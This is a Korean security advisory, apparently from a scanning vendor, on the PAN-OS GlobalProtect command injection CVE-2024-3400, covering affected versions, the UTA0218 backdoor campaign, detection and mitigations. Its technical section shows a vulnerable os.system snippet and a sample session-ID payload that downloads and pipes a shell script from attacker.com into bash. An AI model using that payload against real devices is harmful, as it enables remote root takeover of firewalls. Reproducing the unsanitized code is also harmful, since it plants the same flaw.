CVE-2024-3400: Palo Alto PAN-OS 명령어 삽입(Command Injection) — CVSS 10.0
CVE-2024-3400은 Palo Alto Networks PAN-OS GlobalProtect 게이트웨이에 존재하는 최고 등급 심각도의 OS 명령어 삽입 취약점입니다. 인증되지 않은 공격자가 아무런 상호작용 없이 root 권한으로 임의의 OS 명령을 실행할 수 있습니다. 공개 전에 UTA0218(국가 배후로 추정)에 의해 악용되었습니다.
| 속성 | 값 |
|---|---|
| CVE ID | CVE-2024-3400 |
| CVSS 벡터 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-77: OS 명령어 삽입 |
| 공개일 | 2024년 4월 12일 |
| 익스플로잇 현황 | 활발히 악용 중 — CISA KEV 등재, 국가 배후 공격 그룹 악용 |
CVE-2024-3400이란?
CVE-2024-3400은 Palo Alto Networks PAN-OS의 GlobalProtect 기능에 영향을 미칩니다. GlobalProtect가 게이트웨이 또는 포털로 구성된 경우, 인증되지 않은 원격 공격자가 방화벽 장비에서 root 권한으로 실행되는 임의의 OS 명령을 삽입할 수 있습니다.
인증 불필요, 네트워크로 접근 가능, 범위 변경(changed scope), 기밀성·무결성·가용성에 대한 최대 영향이라는 요소들이 결합되어 완벽한 CVSS 10.0 점수를 기록했습니다. 방화벽 벤더 중 이 점수를 받은 취약점은 손에 꼽을 정도입니다.
🚨 패치 공개 이전 국가 배후 공격 그룹의 악용
Volexity는 정교한 위협 행위자인 UTA0218이 침해된 PAN-OS 장비에 UPSTYLE이라는 새로운 Python 백도어를 배포한 사고에 대응하는 과정에서 이 취약점을 발견했습니다. 공격자는 방화벽을 피벗 지점으로 사용해 내부 네트워크에 접근하고, Active Directory 자격 증명을 탈취했으며, 민감한 데이터를 유출했습니다. Volexity는 악용이 2024년 3월 말 — Palo Alto가 통보받기 몇 주 전부터 시작된 것으로 추정합니다.
영향받는 시스템
| PAN-OS 버전 | 영향받음(GlobalProtect 활성화 시) | 수정된 버전 |
|---|---|---|
| PAN-OS 11.1 | < 11.1.2-h3 | 11.1.2-h3+ |
| PAN-OS 11.0 | < 11.0.4-h1 | 11.0.4-h1+ |
| PAN-OS 10.2 | < 10.2.9-h1 | 10.2.9-h1+ |
| PAN-OS 10.1 | < 10.1.14-h4 | 10.1.14-h4+ |
전제 조건: GlobalProtect 게이트웨이 또는 포털이 구성되어 있어야 합니다(show global-protect-gateway current-user 명령이 결과를 반환하는 경우). GlobalProtect를 구성하지 않은 조직은 영향을 받지 않습니다.
기술 분석
삽입 지점은 GlobalProtect 세션 처리 코드에 있습니다. GlobalProtect 세션이 수립되면 특정 세션 속성이 방화벽의 임시 파일에 기록됩니다. 이러한 세션 파일의 경로를 구성하는 코드는 부분적으로 공격자가 제어할 수 있는 세션 식별자를 제대로 검증하지 않습니다.
# 취약한 파일 경로 구성 단순화
SESSION_ID = request.cookie["SESSID"] # 공격자가 제어 가능
session_file = f"/var/appweb/sslvpndocs/global-protect/{SESSION_ID}.log"
os.system(f"echo 'connected' >> {session_file}") # 여기서 명령어 삽입 발생
# 공격자가 셸 메타문자가 포함된 세션 ID를 조작합니다:
# SESSION_ID = "../../tmp/evil;curl http://attacker.com/shell.sh|bash;"
UTA0218이 설치한 UPSTYLE 백도어는 새로운 지속성 메커니즘을 사용했습니다: 웹 서버 접근 로그에서 (암호화된 명령이 포함된) 특정 요청 패턴을 모니터링하고, 해당 명령을 실행한 뒤, 활동의 흔적을 지우기 위해 원본 파일 내용을 복원하는 Python 스크립트입니다.
침해 후 활동(UTA0218)
Volexity는 국가 배후 공격 그룹의 다음과 같은 침해 후 활동 순서를 문서화했습니다:
- UPSTYLE 배포: 지속적인 접근을 위해 방화벽 웹 서버 경로에 Python 백도어 설치
- 자격 증명 추출: VPN 자격 증명 및 내부 라우팅 정보가 포함된 방화벽 구성 덤프
- 내부 피벗팅: 침해된 방화벽의 신뢰된 네트워크 위치를 이용해 내부 호스트에 접근
- LDAP 쿼리: 방화벽의 내부 네트워크 접근을 통한 Active Directory 열거
- 데이터 스테이징: 방화벽을 통한 민감한 파일의 압축 및 유출
탐지
PAN-OS 로그 분석
# UPSTYLE 백도어 흔적 확인 find / -name "*.py" -newer /etc/passwd -not -path "*/site-packages/*" 2>/dev/null # GlobalProtect 로그의 의심스러운 트래픽 grep -i "curl\|wget\|python\|bash" /var/log/pan/sslvpn.log # 변경된 시스템 파일(UPSTYLE은 수정 후 복원함) # 웹 서버 파일의 최근 접근 시간 확인 find /var/appweb -atime -7 -name "*.php" -o -name "*.py"
위협 헌팅 쿼리
- 비정상적인 세션 쿠키 형식을 가진 GlobalProtect 경로에 대한 HTTP 200 응답
- 방화벽 관리 플레인에서 외부 IP로의 아웃바운드 연결
- 위협 인텔리전스 피드에 없는 도메인에 대한 PAN-OS의 DNS 쿼리
- 방화벽 구성 파일의 비정상적인 파일 수정 타임스탬프
완화 방안
- 즉시 패치: 위에 나열된 핫픽스 버전을 적용하세요. 이는 활발히 악용되고 있는 CVSS 10.0 취약점입니다 — 지연은 용납되지 않습니다.
- Threat Prevention 임시 대응책: 패치되지 않은 장비의 경우, GlobalProtect 인터페이스에 보안 프로필과 함께 Threat Prevention을 활성화하세요. Palo Alto는 특정 threat ID 시그니처를 제공했습니다.
- 불필요한 경우 GlobalProtect 비활성화: GlobalProtect를 적극적으로 사용하지 않는 조직은 임시 대응책으로 이 기능을 비활성화할 수 있습니다.
- 방화벽 파일 점검: Palo Alto가 제공하는 스크립트를 실행해 UPSTYLE 및 기타 침해 후 흔적을 확인하세요.
- 모든 자격 증명 교체: 방화벽 구성에 저장된 모든 자격 증명(VPN 인증서, LDAP 바인드 자격 증명 등)은 침해된 것으로 간주해야 합니다.
💡 CISA 긴급 지침(Emergency Directive): CISA는 모든 미국 연방 기관이 2024년 4월 19일까지 패치 또는 완화 조치를 적용하도록 요구하는 긴급 지침 24-03을 발령했습니다. 이러한 긴급성은 정교한 위협 행위자에 의한 심각성과 활발한 악용을 반영합니다.
KENSAI 탐지 역량
- PAN-OS 핑거프린팅: KENSAI는 인터넷에 노출된 Palo Alto 장비와 해당 PAN-OS 버전을 식별하여 CVE-2024-3400에 취약한 구성을 표시합니다
- GlobalProtect 노출 탐지: 탐지된 장비에서 GlobalProtect 게이트웨이/포털이 활성화되어 있는지 식별합니다
- 안전한 익스플로잇 확인: 비파괴적 프로브가 명령을 실행하지 않고도 익스플로잇 가능 여부를 확인합니다
- 침해 지표 스캐닝: 접근 가능한 웹 경로에서 UPSTYLE 백도어 지표를 확인합니다
- 지속적인 공격 표면 모니터링: 외부 공격 표면에 새로 나타난 PAN-OS 장비를 알립니다
Palo Alto 인프라가 CVE-2024-3400에 노출되어 있습니까?
KENSAI는 명령어 삽입에 취약한, 인터넷에 노출된 PAN-OS 장비를 즉시 식별합니다. 위협 행위자가 먼저 찾아내기 전에 확인하세요.
지금 경계를 스캔하세요 →